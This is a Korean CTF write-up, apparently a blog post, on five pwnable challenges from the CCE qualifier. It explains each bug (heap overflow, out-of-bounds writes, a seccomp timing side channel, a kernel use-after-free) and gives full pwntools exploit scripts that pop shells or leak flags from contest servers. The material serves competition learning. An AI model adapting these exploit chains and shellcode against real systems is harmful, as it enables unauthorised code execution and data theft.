
예선 1등으로 본선에 간다. 청소년부에 폰은 총 6문제 출제되었다. (Heapappy : 250, book : 487, Artisan : 864, Chain : 962, Time Capsule : 962, MyBlog : 1000(0 Solve)) 대회 진행 중 마지막 문제를 제외한 5문제를 풀었다. MyBlog도 조금만 집중하면 풀 수 있었을 거 같은데 커널 문제를 풀 때 조건을 제대로 확인하지 않아서 두 시간을 날리기도 했고, 우리 팀 리버서도 나를 도와줄 정신 상태가 아니어서 깔끔하게 접고 쉬었다. 각설하고 풀이를 적어보겠다.
목차
- Heapappy
- book
- Artisan
- Chain
- Time Capsule
Heapappy
[*] '/mnt/d/cce/qual/Heapappy/prob'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
PIE가 꺼져 있고 Partial RELRO이다.
unsigned __int64 prompt()
{
unsigned __int64 v1; // [rsp+0h] [rbp-40h]
char nptr[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0LL;
printf("Choice: ");
while ( v1 <= 0x1E && fread(&nptr[v1], 1uLL, 1uLL, stdin) == 1 )
{
if ( nptr[v1] == 10 )
{
nptr[v1] = 0;
break;
}
++v1;
}
nptr[v1] = 0;
return strtoul(nptr, 0LL, 10);
}
unsigned __int64 __fastcall input(__int64 a1, unsigned __int64 a2)
{
char ptr; // [rsp+17h] [rbp-19h] BYREF
unsigned __int64 i; // [rsp+18h] [rbp-18h]
size_t v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
for ( i = 0LL; ; ++i )
{
if ( i >= a2 )
return i;
v5 = fread(&ptr, 1uLL, 1uLL, stdin);
if ( v5 != 1 )
break;
if ( ptr == 10 )
return i;
*(_BYTE *)(i + a1) = ptr;
}
if ( feof(stdin) )
fwrite("ERROR: Reached EOF\n", 1uLL, 0x13uLL, stderr);
else
fwrite("ERROR: fread failed\n", 1uLL, 0x14uLL, stderr);
return i;
}
int adopt()
{
__int64 v1; // [rsp+0h] [rbp-10h]
if ( pet )
return puts("Already adopted.");
pet = malloc(0x28uLL);
if ( !pet )
exit(1);
memset(pet, 0, 0x28uLL);
*((_DWORD *)pet + 6) = 0;
*((_QWORD *)pet + 4) = act_tutorial;
printf("Name length: ");
v1 = prompt();
if ( v1 > 24 )
return puts("Name too long.");
printf("Name bytes: ");
input((__int64)pet, v1);
return puts("Adopted.");
}
adopt 함수에서 이름의 길이 변수인 v1이 signed __int64 임을 알 수 있다. 따라서 음수를 입력하면 조건문을 통과한다. 그런데 input 함수에서는 rsi를 unsigned __int64로 해석하고 있으므로 heap overflow가 발생한다.
int perform_ritual()
{
if ( pet )
return (*((__int64 (__fastcall **)(void *))pet + 4))(pet);
else
return puts("Adopt first.");
}
perform_ritual 함수에서 heap에 있는 함수 포인터를 참조하여 실행하는 부분이 있으므로 이를 win 함수로 덮어 쉘을 딴다.
ex.py
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()
gdb_cmds = [
'b *$rebase(0x000000000001568)',
'c'
]
binary = './prob'
context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if args.remote:
p = remote("3.38.164.12", 3030)
else:
p = process(binary)
if args.gdb:
gdb.attach(p, '\n'.join(gdb_cmds))
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b'Choice: ', b'-1')
p.sendlineafter(b': ', b'a' * 0x20 + p64(0x40184d))
p.sendlineafter(b'Choice: ', b'3')
p.interactive()
book
[*] '/mnt/d/cce/qual/book/prob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
특징은 없다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+24h] [rbp-11Ch] BYREF
void *buf; // [rsp+28h] [rbp-118h]
char s[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+138h] [rbp-8h]
v7 = __readfsqword(0x28u);
v4 = -1;
init();
memset(s, 0, 0x100uLL);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
if ( v4 == 4 )
return 0;
if ( v4 == 3 )
{
if ( added )
{
printf("Page number: ");
__isoc99_scanf("%u", &pagenum);
if ( (unsigned int)pagenum > 4 )
{
puts("[ERROR] Only [0~3] page is available");
exit(-1);
}
printf("Edit size: ");
__isoc99_scanf("%u", &edit_size);
if ( (unsigned int)edit_size > 0x40 )
{
puts("[ERROR] Too large");
exit(-1);
}
printf("Write content : ");
buf = &s[pagenum << 6];
read(0, buf, 0x40uLL);
}
else
{
LABEL_14:
puts("Write a article first");
}
}
else
{
if ( v4 > 3 )
goto LABEL_22;
if ( v4 == 1 )
{
if ( added )
{
puts("article already written");
}
else
{
printf("Enter article size : ");
__isoc99_scanf("%u", &size);
if ( (unsigned int)size > 0x100 )
{
puts("[ERROR] Too large");
exit(-1);
}
printf("Write content : ");
read(0, s, (unsigned int)size);
++added;
}
}
else if ( v4 == 2 )
{
if ( !added )
goto LABEL_14;
printf("Content: %s\n", s);
}
else
{
LABEL_22:
puts("Invalid choice");
}
}
}
}
edit에서 pagenum을 잘못 관리해서 4가 통과된다. 입출력이 모두 있으므로 ROP 해준다. 이게 250점이 아닌 게 신기하다.
ex.py
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()
gdb_cmds = [
'b *$rebase(0x150c)',
'c'
]
binary = './prob'
context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if args.remote:
p = remote("15.165.12.135", 12345)
else:
p = process(binary)
if args.gdb:
gdb.attach(p, '\n'.join(gdb_cmds))
l = ELF('./libc.so.6')
def edit(idx : int, sz : int, ctt : bytes):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(sz).encode())
p.sendafter(b': ', ctt)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', b'256')
p.sendafter(b': ', b'a' * 0x100)
edit(4, 9, b'a' * 9)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Content: ' + b'a' * (0x100 + 9))
canary = u64(b'\x00' + p.recvn(7))
print(hex(canary))
edit(4, 0x18, b'a' * 0x18)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Content: ' + b'a' * (0x100 + 0x18))
l.address = u64(p.recvn(6).ljust(8, b'\x00')) - 0x2a1ca
print(hex(l.address))
ret = l.address + 0x000000000002882f
pop_rdi = l.address + 0x000000000010f75b
system = l.sym['system']
binsh = list(l.search(b'/bin/sh'))[0]
edit(4, 0x18 + 0x20, b'a' * 0x8 + p64(canary) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system))
p.sendlineafter(b'> ', b'4')
p.interactive()
Artisan
문제에서 prob.c 파일만 제공하여서 보호 기법을 알 수 없다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <fcntl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#define LENGTH 128
volatile char flag_mem[0x50] = {0};
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
int fd = open("./flag", O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
read(fd, flag_mem, 0x50);
close(fd);
char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("Enter your shellcode: ");
read(0, sh+offset, 0x900);
alarm(10);
chroot("/home/ctf");
sandbox();
((void (*)(void))sh)();
return 0;
}
flag가 bss 영역에 저장되어 있다. sandbox에서의 seccomp 설정으로 nanosleep 함수만 허용하고 있다. 그 후 stub에 저장된 쉘코드를 실행한 후 유저가 입력한 쉘 코드를 입력한다. stub에 저장된 쉘코드는 rsp, rip를 제외한 모든 레지스터를 0으로 초기화한다.flag를 얻기 위해 두 가지 작업을 해야 한다. 첫 번째는 flag가 저장된 주소를 찾는 것이다. *($rsp)가 code 영역 주소이므로 bss 영역의 시작 주소를 얻을 수 있다. 그로부터 조금 넉넉하게 여유를 두어 약간 앞으로 주소를 잡고 브루트포싱으로 c 글자를 탐색한다. 탐색 방법은 time based sql injection과 같은 논리이다. 해당 메모리에 c가 저장되어 있으면 2초 sleep을 하고, 아니라면 바로 종료한다.
두 번째는 flag를 읽는 것이다. 이를 위해 두 가지 방법을 생각했다. 가장 처음 생각한 건 8바이트씩 끊어서 이분탐색을 하는 것이었는데, 물론 굉장히 빠르겠지만 이분 탐색 코드 짜기가 귀찮았고 시간도 넉넉해서 직관적인 생각을 코드로 옮기고자 했다. 그래서 단순하게 1비트씩 확인하는 코드로 짰다. 이 코드는 30분 정도 걸렸다. 대회 끝나고 짠 이분탐색 코드도 함께 첨부하겠다.
ex.py
from pwn import *
from datetime import datetime
binary = './prob'
context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# find flag address
"""
for i in range(0x1000):
try:
#p = process(binary)
#gdb.attach(p)
p = remote('3.38.198.197', 54321)
offset = 0x4000 - 0x1572 + i
payload = f'''
pop r10
add r10, {offset}
mov al, byte ptr [r10]
cmp al, 99
jne skip_sleep
push 0
push 2
mov rdi, rsp
mov rax, 35
syscall
skip_sleep:
mov rax, 60
mov rdi, 0
syscall
'''
p.sendafter(b': ', asm(payload))
start = datetime.now()
p.recvline()
p.recvline()
except:
end = datetime.now()
p.close()
t = (end-start).total_seconds()
print(hex(i), t)
if t > 1.5 :
print(hex(i))
print(offset)
exit()
""" # 0x2e
# get flag by compare bit by bit
flag = ""
k = 0
for i in range(400):
try:
#p = process(binary)
p = remote('3.38.198.197', 54321)
offset = 0x4000 - 0x1572 + 0x2e
payload = f'''
pop r10
add r10, {offset}
add r10, {i // 8}
mov al, byte ptr [r10]
shr al, {i % 8}
and al, 1
cmp al, 1
jne skip_sleep
push 0
push 2
mov rdi, rsp
mov rax, 35
syscall
skip_sleep:
mov rax, 60
mov rdi, 0
syscall
'''
p.sendafter(b': ', asm(payload))
start = datetime.now()
p.recvline()
p.recvline()
except:
end = datetime.now()
p.close()
t = (end-start).total_seconds()
if t > 1.5 :
k += 1 << (i % 8)
if (i % 8) == 7:
flag += chr(k)
k = 0
print(flag)
if chr(k) == '}' : exit(0)
# get flag by binary search
"""
flag = ""
for i in range(50):
l = 0
r = 0xffffffffffffffff
while l < r :
try:
print(hex(l), hex(r))
#p = process(binary)
p = remote('3.38.198.197', 54321)
offset = 0x4000 - 0x1572 + 0x2e
mid = (l + r) // 2
payload = f'''
pop r10
add r10, {offset + 8 * i}
mov rax, QWORD ptr [r10]
mov r11, {mid}
cmp rax, r11
ja skip_sleep
push 0
push 2
mov rdi, rsp
mov rax, 35
syscall
skip_sleep:
mov rax, 60
mov rdi, 0
syscall
'''
p.sendafter(b': ', asm(payload))
start = datetime.now()
p.recvline()
p.recvline()
except:
end = datetime.now()
p.close()
t = (end-start).total_seconds()
if t > 1.5 :
r = mid
else :
l = mid + 1
flag += p64(l).decode()
print(flag)
if '}' in flag : exit(0)
"""
Chain
[*] '/mnt/d/cce/qual/Chain/prob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
특징은 없다.
int __fastcall check(unsigned int a1, unsigned int a2)
{
char v3; // [rsp+17h] [rbp-9h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("from_idx: %d, to_idx: %d\n", a1, a2);
printf("continue? (y/n): ");
__isoc99_scanf(" %c", &v3);
if ( v3 != 'y' && v3 != 'Y' )
return puts("end copy");
if ( a1 < 8 && a2 < 8 )
return 0;
puts("invalid origin or destination");
return -1;
}
unsigned __int64 copy()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
signed int v2; // [rsp+10h] [rbp-10h] BYREF
signed int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("chain idx: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 2 )
{
printf("origin: ");
__isoc99_scanf("%d", &v2);
printf("destination: ");
__isoc99_scanf("%d", &v3);
if ( check(v2, v3) >= 0 )
memcpy((char *)&dword_50E0[18 * v1 + 36] + 7 * v3, (char *)&dword_50E0[18 * v1 + 36] + 7 * v2, 3uLL);
}
else
{
puts("invalid chain idx");
}
return v4 - __readfsqword(0x28u);
}
check 함수에서 y, Y를 입력하지 않는 경우 puts의 반환 값을 넘긴다. 그런데 puts는 출력에 실행한 경우 음이 아닌 정수를 반환하므로 v2, v3이 얼마든 조건문을 통과할 수 있다. 따라서 oob가 발생한다. Chain이 3개고 72%7!=0이며 memcpy의 n이 3바이트이므로 3*3=9>7이라서 모든 data에 접근 가능하다.
__int64 view()
{
int i; // [rsp+0h] [rbp-10h]
int j; // [rsp+4h] [rbp-Ch]
for ( i = 0; i <= 34; ++i )
{
system("clear");
for ( j = 0; qword_50F0[j]; ++j )
qword_50F0[j]();
usleep(40000u);
}
dword_50E0[0] = 0;
system("clear");
return sub_1C24();
}
view 함수에서 미리 채워져 있던 함수 포인터의 실행으로 정해진 메모리의 값을 출력하는데, 위의 oob memcpy 취약점을 이용하여 pie_base, libc_base를 딸 수 있다. 이제 저 함수 포인터를 조작하여 임의 코드 실행을 수행할 수 있는데, one_gadget은 조건에 맞는 게 없어서 system 함수로 쉘을 따야 한다. 그렇다면 rdi를 조작할 방법을 생각해야 한다.
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("chain idx: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 2 )
{
printf("destination: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 8 )
{
printf("kor: ");
read(0, (char *)&dword_50E0[18 * v1 + 36] + 7 * (int)v2, 3uLL);
}
else
{
puts("invalid idx");
}
}
else
{
puts("invalid chain idx");
}
return v3 - __readfsqword(0x28u);
}
edit에서 chain 0, destination 0에 sh\x00을 적는다. 함수 포인터 3번에 copy, 함수 포인터 4번에 system 함수 주소를 입력하고 view를 실행한다. 그럼 3번에 있던 copy가 실행되는데, 이 때 chain 0, destination 0을 입력하면 rdi가 위에서 설정한 그 주소로 바뀐다. 어셈블리어로 보면 알 수 있듯 copy 함수에서 memcpy 이후, 그리고 view 함수에서 함수 포인터 실행 중 rdi 값이 바뀌지 않는다. 따라서 4번이 실행되면 system("sh")를 실행시킬 수 있다.
ex.py
from pwn import *
import argparse
import re
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()
gdb_cmds = [
'set follow-fork-mode parent',
#'b *$rebase(0x1e7b)',
'b *$rebase(0x2020)',
'c'
]
binary = './prob'
context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if args.remote:
p = remote("15.165.233.83", 31407)
else:
p = process(binary)
if args.gdb:
gdb.attach(p, '\n'.join(gdb_cmds))
l = ELF('./libc.so.6')
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def edit(idx : int, idx2 : int, ctt : bytes):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(idx2).encode())
p.sendafter(b': ', ctt)
def copy(idx : int, idx1 : int, idx2 : int):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(idx1).encode())
p.sendlineafter(b': ', str(idx2).encode())
p.sendafter(b': ', b'n')
def view():
p.sendlineafter(b'> ', b'3')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
msg = p.recvline()
msg = re.sub(r'\x1b\[[0-9;]*m'.encode(), b'', msg)
msg = msg.strip().split(b'----')
return msg
copy(2, -72, 0)
copy(0, -51, 0)
copy(2, -96, 1)
copy(0, -75, 1)
msg = view()
# print(msg)
piebase = (u64(msg[0][:3].ljust(8, b'\x00')) << 24) + u64(msg[2][:3].ljust(8, b'\x00'))
piebase -= 0x5008
l.address = ((u64(msg[0][3:6].ljust(8, b'\x00')) << 24) + u64(msg[2][3:6].ljust(8, b'\x00'))) - l.sym['putchar']
print(hex(piebase))
print(hex(l.address))
edit(0, 0, b'\x00' + p8((piebase + 0x1d26) & 0xff) + b'\x00')
copy(0, 0, -15)
edit(1, 0, p32(((piebase + 0x1d26) >> 8) & 0xffffff)[:3])
copy(1, 0, -25)
edit(2, 0, p32(((piebase + 0x1d26) >> 24) & 0xffffff)[:3])
copy(2, 0, -35)
# print(hex(piebase + 0x5100))
#gdb.attach(p, '\n'.join(gdb_cmds))
edit(1, 0, p32((l.sym['system']) & 0xffffff)[:3])
copy(1, 0, -24)
edit(2, 0, p32(((l.sym['system'] >> 16) & 0xffffff))[:3])
copy(2, 0, -34)
edit(0, 0, p32(((l.sym['system']) >> 40) & 0xffffff)[:3])
copy(0, 0, -13)
edit(0, 0, b'sh\x00')
view()
p.sendlineafter(b': ', str(0).encode())
p.sendlineafter(b': ', str(0).encode())
p.sendlineafter(b': ', str(0).encode())
p.sendafter(b': ', b'n')
p.interactive()
Time capsule
qemu-system-x86_64 \
-kernel bzImage \
-initrd $1 \
-nographic \
-append "console=ttyS0 quiet loglevel=3 oops=panic nopti nokaslr nosmep nosmap" \
-m 512M \
-cpu kvm64,-smep,-smap,rdrand \
-monitor /dev/null \
-no-reboot \
-s
nopti, nokaslr, nosmep, nosmap이다. ret2usr를 할 수 있는 환경이다.
__int64 __fastcall capsule_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v5; // rdi
__int64 v6; // rax
__int64 v7; // rbx
__int64 v8; // r13
__int64 v9; // rdx
unsigned int v10; // r12d
__int64 *v11; // rax
unsigned int v12; // ebp
_DWORD *v13; // rax
unsigned int v14; // ebx
_DWORD *v15; // rdx
unsigned int v16; // ebx
__int64 v17; // rax
__int64 v18; // rcx
__int64 v20; // rbx
__int64 v21; // rdi
__int64 v22; // rax
__int64 v23; // rdx
__int64 v24; // rcx
__int64 v25; // rbx
__int64 v26; // rbp
unsigned __int64 v27; // r12
__int64 v28; // rdi
__int64 v29; // rax
__int64 v30; // rdx
__int64 v31; // [rsp+0h] [rbp-48h] BYREF
unsigned __int64 v32; // [rsp+8h] [rbp-40h]
__int64 v33; // [rsp+10h] [rbp-38h]
__int64 v34; // [rsp+18h] [rbp-30h]
unsigned __int64 v35; // [rsp+20h] [rbp-28h]
v35 = __readgsqword((unsigned int)&_ref_stack_chk_guard);
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
if ( copy_from_user(&v31, a3, 32LL) || (_DWORD)v34 != 0xCAFEBABE || (unsigned int)v31 > 0x1FF )
return -22LL;
mutex_lock(&mutex_h);
if ( a2 == 0x3000 )
{
v26 = (int)v31;
v27 = v32;
v28 = capsule[(int)v31];
if ( v32 <= 0x100 && v28 )
{
v29 = copy_from_user(v28, v33, v32);
if ( v29 )
{
v7 = -14LL;
}
else
{
if ( BYTE4(qword_E28[2 * v26]) )
{
v30 = capsule[v26];
if ( v27 )
{
do
{
*(_BYTE *)(v30 + v29) ^= (unsigned int)(1640531527 * (v26 + 57005)) >> (8 * (v29 & 3));
++v29;
}
while ( v27 != v29 );
}
}
v7 = 0LL;
++LODWORD(qword_E28[2 * v26]);
}
goto LABEL_18;
}
goto LABEL_17;
}
if ( a2 > 0x3000 )
{
if ( a2 == 0x4000 )
{
v8 = (int)v31;
v9 = capsule[(int)v31];
v10 = v31;
if ( v9 )
{
v11 = capsule;
v12 = 0;
do
v12 -= (*v11++ == 0) - 1;
while ( &misc_deregister != (__int64 (__fastcall **)(_QWORD))v11 );
v13 = (_DWORD *)capsule[(int)v31];
v14 = 0;
v15 = (_DWORD *)(v9 + 256);
do
{
v16 = *v13++ + v14;
v14 = 1640531527 * v16;
}
while ( v15 != v13 );
v17 = ktime_get(&mutex_h, a3, v15, &misc_deregister);
v18 = v14;
v7 = 0LL;
printk(&unk_518, v10, v12, v18, LODWORD(qword_E28[2 * v8]), (v17 - metadata[2 * v8]) / 1000000);
goto LABEL_18;
}
}
goto LABEL_17;
}
if ( a2 == 0x1000 )
{
v20 = (int)v31;
if ( !capsule[(int)v31] )
{
v21 = kmem_cache_note;
v22 = kmem_cache_alloc_noprof(kmem_cache_note, 0xDC0LL);
capsule[v20] = v22;
if ( v22 )
{
v25 = 2 * v20;
metadata[v25] = ktime_get(v21, 0xDC0LL, v23, v24);
LODWORD(qword_E28[v25]) = 1;
BYTE4(qword_E28[v25]) = 0;
v7 = 0LL;
}
else
{
v7 = -12LL;
}
goto LABEL_18;
}
goto LABEL_17;
}
if ( a2 != 0x2000 || !capsule[(int)v31] )
{
LABEL_17:
v7 = -22LL;
goto LABEL_18;
}
v5 = kmem_cache_note;
v6 = 2LL * (int)v31;
v7 = 0LL;
metadata[v6] = 0LL;
qword_E28[v6] = 0LL;
kmem_cache_free(v5);
LABEL_18:
mutex_unlock(&mutex_h);
return v7;
}
kmalloc 크기는 ioctl_init에서 0x200임을 확인할 수 있다. kfree에서 UAF를 확인할 수 있다. pipe fake ops -> ret2usr로 해결한다.
'CTF > writeup' 카테고리의 다른 글
| 2025 codegate CTF final writeup (0) | 2025.07.21 |
|---|---|
| 2025 1753CTF writeup (0) | 2025.04.13 |
| 2025 squ1rrel CTF writeup (0) | 2025.04.10 |
| 2025 codegate CTF quals writeup (2) | 2025.04.09 |
| 2025 SSU CTF writeup (0) | 2025.04.09 |